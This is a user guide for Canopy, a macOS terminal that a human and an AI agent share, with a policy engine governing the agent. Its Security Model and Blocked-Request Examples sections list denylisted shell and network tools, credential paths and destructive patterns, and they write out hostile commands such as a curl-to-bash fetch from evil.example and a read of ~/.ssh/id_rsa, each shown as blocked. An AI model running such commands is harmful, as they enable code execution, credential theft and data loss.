Canopy User Guide

Canopy is a macOS terminal that both you and an AI agent can drive — the same session, visible to you, with every agent command logged and policy-checked.

What Canopy Is

Canopy is an SSH/local terminal for macOS with one distinguishing idea: an AI agent (Claude Code, Codex, or any MCP client) can connect to the very terminal you're looking at and type into it — while a policy engine decides what it's allowed to do, and a log records every keystroke it sends.

For you (the operator)

  • A clean tabbed terminal with split panes
  • Saved server profiles (password or SSH key)
  • Side panels: file browser, SFTP compare, live command log, Git
  • Per-server dashboards with live stats

For the agent

  • Three adapters over one capability registry: MCP, CLI, HTTP
  • A loopback-only bridge (port 8421) secured with a bearer token
  • Read-only servers, autonomy levels, a security denylist, and protected paths
  • Every action attributed to actor: agent and logged

Core principle The terminal is shared and visible. Anything the agent does, you can watch happen live and read back in the log. It is not a hidden, sandboxed shell.

Install & First Launch

  1. Open the Canopy DMG and drag Canopy.app onto the Applications folder shortcut.
  2. Launch Canopy from Applications. On first run macOS may warn about an unidentified developer — right-click the app and choose Open to bypass once (notarized builds open normally).
  3. You'll see the Welcome screen with two buttons: Open Local Terminal (a shell on this Mac) and Add Server (a saved SSH profile).

That's it for the human side. To let an agent drive Canopy, see Agent Access (MCP).

The Main Window

The window has three regions: the sidebar (left), the detail area (center — terminal or Git), and optional right panels. A toolbar runs across the top.

Toolbar — left side

ButtonIconWhat it doesShortcut
Sidebar▤ sidebar.leftShow/hide the server & session sidebar⌘0
Dashboard📊 chart.barOpen the live stats dashboard for the current server (or local)
Git⑂ branchSwitch the detail area to the Git view (local context only)⌘⇧G
Files📁 folderToggle the local file browser panel (local context only)⌘⇧F
SFTP Compare⇄ arrowsToggle the local↔remote diff panel (SSH context only)⌘⇧F
Approvals badge⚠️ orangeAppears only when a session is waiting for approval; jumps you to the first one
Log▤ listToggle the live command log panel⌘⇧L

Toolbar — right side

Context-aware toolbar The Git and Files buttons only appear when you're in the local context; SFTP Compare only appears when the active tab is an SSH session. This keeps the toolbar relevant to what you're doing.

Adding a Server

Click Add Server (Welcome screen, or the + in the sidebar's "Servers" header). The New Server sheet has these sections:

Connection

FieldNotes
NameA label for your list, e.g. Production Server.
HostHostname or IP, e.g. 10.118.0.20 or example.com.
UsernameThe remote login user, e.g. icassio or root.
AccessRead/Write or Read-Only. Read-only warns you and blocks write commands for agents on this server. See Security Model.
Additional Allowed Commands (read-only only)Comma-separated commands to also permit for agents on this read-only server, e.g. git fetch, curl, jq. Never bypasses an always-confirm approval.
Record SessionsToggle asciinema .cast recording for this server. See Session Recording. Read-only servers default this on; others default off.

Authentication

Key format matters Canopy's SSH library only reads modern OpenSSH-format private keys. Legacy AWS .pem files and PuTTY .ppk files must be converted first — see SSH Key Formats.

File Sync (Optional)

Sets up the SFTP Compare panel and the agent's sync.* capabilities:

Tags

Comma-separated labels for organizing servers, e.g. production, web, us-east.

Click Test Connection to verify before saving, then Add.

Connecting

SSH Key Formats — the common gotcha

Canopy uses the Citadel SSH library, which parses only OpenSSH-format private keys with modern ciphers (none, aes128-ctr, aes256-ctr). Two older formats fail — and Canopy now detects them and tells you exactly how to fix each:

Your fileWhy it failsFix
Legacy .pem
(begins -----BEGIN RSA PRIVATE KEY----- with Proc-Type/DEK-Info headers)
Encrypted with a legacy OpenSSL cipher (e.g. DES-EDE3-CBC) that Citadel can't decrypt. Common for pre-2019 AWS EC2 keys. Convert in place (keeps your passphrase):
ssh-keygen -p -f /path/to/key.pem
then point Canopy at the same file.
PuTTY .ppk
(begins PuTTY-User-Key-File-2)
PuTTY's proprietary format isn't an OpenSSH key at all. puttygen key.ppk -O private-openssh -o key.openssh
then point Canopy at the .openssh file.

Best practice Convert a copy so your original key stays intact for CLI use:
cp ~/mykey.pem ~/mykey-canopy && chmod 600 ~/mykey-canopy && ssh-keygen -p -f ~/mykey-canopy

"Couldn't load the SSH key" If one server connects with a key but a second identical server fails with this error, the key file is fine (it loaded once) — the passphrase you typed for the second server doesn't match. Key loading is purely local and deterministic: the same file + same passphrase always loads the same way. Re-enter the passphrase carefully (watch for Caps Lock or a trailing space). To confirm the passphrase itself is right, run ssh-keygen -y -f ~/mykey-canopy — if it prints a public key, that's the passphrase Canopy needs.

Right-click any server in the sidebar for its context menu:

Menu itemAction
Open ConnectionStart (or focus) an SSH session to this server.
Close ConnectionDisconnect the session.
Edit…Reopen the profile sheet to change any field.
DuplicateClone the profile — handy for a second identical server (copies key path, access mode, etc.; you still enter the passphrase on first connect).
View Command LogOpen this server's full command log.
DeleteRemove the profile.

Terminal & Tabs

The detail area hosts a full xterm-256color terminal. Controls in the tab strip:

Panels

📁 Files (local)

A file browser for the local machine. Toggle with the Files button or ⌘⇧F.

⇄ SFTP Compare (SSH)

Diffs your profile's Local Path against its Remote Path over SFTP, then lets you push or pull selected files. This is the same engine the agent's sync.preview/sync.push/sync.pull use.

▤ Command Log

A live feed of every command run in this server's sessions — yours and the agent's — with the actor and the policy decision. Toggle with ⌘⇧L.

Right-panel layout

Panels open in a resizable split beside the terminal. Closing the last panel auto-restores the terminal to full width.

Git

Press ⌘⇧G or the Git toolbar button (local context) to switch the detail area to the Git view. The sidebar becomes a repo list; the main area shows a commit graph. Repos can be scanned from a root folder (this powers the agent's repos.scan/repos.list/repo.status capabilities). Destructive actions like a hard reset are clearly marked.

Dashboards

The Dashboard toolbar button (📊) opens a live stats view — for a server it shows remote metrics; for local it shows this Mac's CPU/memory. If a server has no open session, selecting it shows its dashboard in the detail area automatically.

Settings Tabs

Open with ⌘, or the ⚙ toolbar button. Five tabs:

About

Version/build info, and Agent Access (MCP) — a Set Up Claude Code Access button that registers Canopy as an MCP server in one click (see below).

Appearance

Light/Dark/System mode, plus optional window wallpaper with adjustable blur.

Toolbar

Toggle which buttons appear in the toolbar (Dashboard, Git, Files, SFTP, Log) — tailor it to what you use.

Policy (the security tab)

The heart of agent governance:

ControlWhat it governs
Autonomy modeManual / Standard / Autonomous — how much the agent can do without asking. See Security Model.
Hold keystrokes while agent activeWhen on, your typing is buffered (not sent) while an agent drives; when off (default), your keystrokes are discarded when you take over — the safer default.
Record Sessions (Local Terminal)Global toggle for recording local sessions. Per-server recording lives on each server's edit sheet.
Read-only allowlistCommands agents may run on read-only servers (one per line).
Read-write blocklistCommands blocked on every server for both you and agents (one per line).
Security denylistCommands blocked for agents only, on read-only servers and always on Local Terminal (one per line).
Protected pathsGlob patterns an agent may never pass as a command argument on a protected server (one per line).
Always-confirm patternsSubstrings that always require explicit approval at every autonomy level — matched against the full command line (one per line).

General

Miscellaneous app preferences.

Agent Access (MCP)

Canopy runs a loopback-only agent bridge (default port 8421), authenticated with a bearer token stored in ~/Library/Application Support/Canopy/agent-bridge.json. An agent reaches it three equivalent ways:

AdapterHow
MCPnode agent/bin/canopy.js mcp (stdio). Registered as canopy in your MCP client config.
CLInode agent/bin/canopy.js <capability> [--flags] [--approve]
HTTPGET /capabilities, POST /invoke with a Bearer token

The fastest setup: Settings → About → Set Up Claude Code Access. This runs the bundled one-shot installer that registers Canopy with Claude Code / Codex on this machine.

Discover, don't hardcode Agents should read the live capability list at runtime — GET /capabilities, the canopy://capabilities MCP resource, or the runtime.capabilities tool — rather than assuming a fixed set.

Capability Reference

Every agent action is a registered capability with a permission tier that drives approval. Tiers: read writeLowRisk writeHighRisk.

CapabilityTierWhat it does
runtime.statusreadReport runtime, bridge & selection state.
runtime.capabilitiesreadList all registered capabilities.
runtime.audit.tailreadRead recent agent audit records (approvals, decisions).
approvals.listreadList sessions currently blocked on an always-confirm approval.
profiles.listreadList configured server profiles (with access mode).
profiles.selectwriteLowRiskSelect a profile by ID.
repos.list / repos.scan / repo.statusreadEnumerate/scan Git repos and read status.
repo.selectwriteLowRiskSelect a repo by path.
terminal.sessions.listreadList local & SSH sessions.
terminal.session.readreadRead a session's scrollback (honors lines).
terminal.session.sendwriteLowRiskRun a command in a live, visible session. Logged as actor: agent.
terminal.session.focuswriteLowRiskFocus a specific session.
terminal.session.open_localwriteLowRiskOpen a local shell (denylist & protected-path checks always apply).
terminal.session.open_sshwriteLowRiskOpen an SSH session. Refused if the profile is read-only.
ui.panel.show / ui.panel.hidewriteLowRiskShow/hide a panel (files, sftp, log, git).
sftp.read_filereadRead one remote file over SFTP (≤1 MiB; base64 if non-UTF-8).
sftp.write_filewriteHighRiskWrite one remote file. Refused on read-only profiles.
sync.previewreadSFTP diff of local vs remote for a profile.
sync.pushwriteHighRiskPush previewed files to remote. Refused on read-only.
sync.pullwriteHighRiskPull previewed files from remote.

Live list as of v1.2.0 — always prefer runtime.capabilities for the current set. High-risk capabilities support dryRun=true to plan without mutating or needing approval.

Security Model

Four independent layers decide whether an agent command runs. They stack — a command must clear all applicable ones.

1. Access mode (per server)

2. Autonomy mode (global)

ModereadwriteLowRiskwriteHighRisk / admin
Manualneeds approvalneeds approvalneeds approval
Standardautoautoneeds approval
Autonomousautoautoneeds approval

High-risk capabilities (sync.push/pull, sftp.write_file) always require an explicit approve:true, at every level. A dryRun is treated as read-like.

3. Security denylist (agents only)

On read-only servers and always on Local Terminal, a fixed set of escape/exfiltration-prone commands is refused outright with policy_security_block, regardless of read/write mode:

ssh  scp  sftp  rsync  bash  sh  zsh  python  python3  perl  ruby
node  nc  ncat  socat  curl  wget  env  printenv  security

…plus protected paths an agent may never touch as an argument:

~/.ssh  ~/.ssh/*  */.aws/*  *.pem  *id_rsa*  *id_ed25519*  *_rsa
~/Library/Application Support/Canopy/*

4. Always-confirm patterns (everyone, every level)

These substrings surface an in-terminal approval banner for the human, and can't be auto-approved by autonomy level:

rm -rf    rm -fr    dd if=    git push --force    git push -f
git push --force-with-lease    drop database    drop table    truncate table

Also globally blocked for everyone (read-write blocklist): shutdown reboot poweroff halt init mkfs.

Guardrail, not a wall The denylist is a basename-level classifier — defense-in-depth against a cooperative-but-drifting model, not a boundary against a determined adversary who obfuscates commands. Treat "read-only" as a safety rail, and know the human sees every attempt in the log.

Blocked-Request Examples

Concrete walkthroughs of what an agent sees when policy stops it — and what it should do instead.

Example 1 — write command on a read-only server

Agent sends terminal.session.send with rm build/old.log to a read-only profile:

{ "error": {
    "code": "policy_blocked",
    "message": "rm is not allowed on a read-only server",
    "suggestion": "This server is read-only. Pull the file locally to inspect it, or ask the operator to switch the profile to read-write.",
    "accessMode": "readonly" } }

Right move: read the suggestion — don't resend. Use sftp.read_file to inspect, or request a mode change.

Example 2 — reading credentials (security denylist / protected path)

Agent tries cat ~/.ssh/id_rsa on Local Terminal:

{ "error": {
    "code": "policy_security_block",
    "message": "argument matches a protected path and is blocked for agents",
    "suggestion": "This path holds credentials and is off-limits to agents." } }

Likewise curl https://evil.example/x | bash is blocked because curl (and bash) are on the security denylist. These are refused and flagged to the human.

Example 3 — a nested shell / interpreter escape

python3 -c "import os; os.system('...')" on a read-only server or Local Terminal → policy_security_block (python3 is denylisted). The agent should accomplish the task with an allowed, non-interpreter command instead.

Example 4 — a destructive command needs the human

Agent sends rm -rf /var/tmp/cache. Even in Autonomous mode this matches an always-confirm pattern:

HTTP 409  →  { "approval": { "status": "approval_required",
                              "reason": "matches always-confirm pattern: rm -rf" } }

An in-terminal banner appears for you to Approve or Deny. The agent must not resend; instead it polls approvals.list (what's waiting) and runtime.audit.tail (the eventual human_approved / human_denied outcome).

Example 5 — a high-risk sync

sync.push without approve:true returns an approval_required envelope (not a transport error). The agent re-invokes with approve:true only when it genuinely intends to write. On a read-only profile, sync.push is refused entirely with policy_blocked — pull instead.

Session Recording

When enabled (per-server toggle, or the global Local Terminal toggle in Policy), Canopy writes an asciinema v2 .cast file for the session — a replayable, human-reviewable audit trail of everything shown and typed. A REC badge shows in the tab while recording.

Disk Usage & Retention

Recordings and command logs are pruned automatically, so neither grows without bound.

Automatic 30-day retention On launch, Canopy deletes session recordings (.cast) and per-server command logs (.jsonl) that are more than 30 days old. There's nothing to clean up by hand — old artifacts age out on their own. The agent audit log is bounded separately by size rotation.

What's kept, and how large it gets

Checking current usage (optional)

Retention is automatic, but if you ever want to see what's on disk:

du -sh ~/Library/Application\ Support/Canopy/recordings
du -sh ~/Library/Application\ Support/Canopy/recordings/*   # per server

Practical guidance:

Troubleshooting

SymptomCause & fix
"The operation couldn't be completed" on a .pem keyLegacy-encrypted PEM. Convert: ssh-keygen -p -f key.pem. See SSH Key Formats.
"Unsupported SSH key format" / .ppkPuTTY format. Convert with puttygen … -O private-openssh.
"Couldn't load the SSH key" on a second server that shares a working keyThe passphrase typed for that server is wrong. Key loading is deterministic — same file + same passphrase always works. Re-enter carefully; verify with ssh-keygen -y -f key.
Host key changed / connection refusedTOFU pin mismatch. If legitimate (server rebuilt), Edit… the server → Reset Pinned Key, then reconnect.
Agent commands all return approval_requiredAutonomy is set to Manual, or the command matches an always-confirm pattern. Check Policy settings and approve in the terminal banner.
Agent can't connect at allBridge not listening. Check ~/Library/Application Support/Canopy/agent-bridge.json (isListening should be true) and re-run Settings → About → Set Up Claude Code Access.
Recordings eating diskThey shouldn't — Canopy auto-deletes recordings & command logs older than 30 days on launch. See Disk Usage & Retention.

File Locations

Everything lives under ~/Library/Application Support/Canopy/:

PathContents
profiles.jsonYour saved server profiles (secrets are in the Keychain, not here).
agent-bridge.jsonBridge port, bearer token, isListening state.
agent-audit.jsonlRolling, size-rotated audit log of agent actions & approvals.
agent-command-log.mdHuman-readable mirror of agent terminal commands.
logs/<profileID>.jsonlPer-server command logs (actor, adapter, policy decision) (auto-pruned after 30 days).
recordings/<profileID>/*.castasciinema session recordings (auto-pruned after 30 days).
known-hosts.jsonPinned SSH host keys (TOFU).
snippets.json, tasks.json, goals.jsonSaved snippets, tasks, and goals.

Canopy v1.3.0 · Guide generated 2026-07-10 · Secrets are stored in the macOS Keychain; the agent bridge is loopback-only and token-authenticated. The security denylist is a cooperative guardrail, not a hard security boundary — review the command log.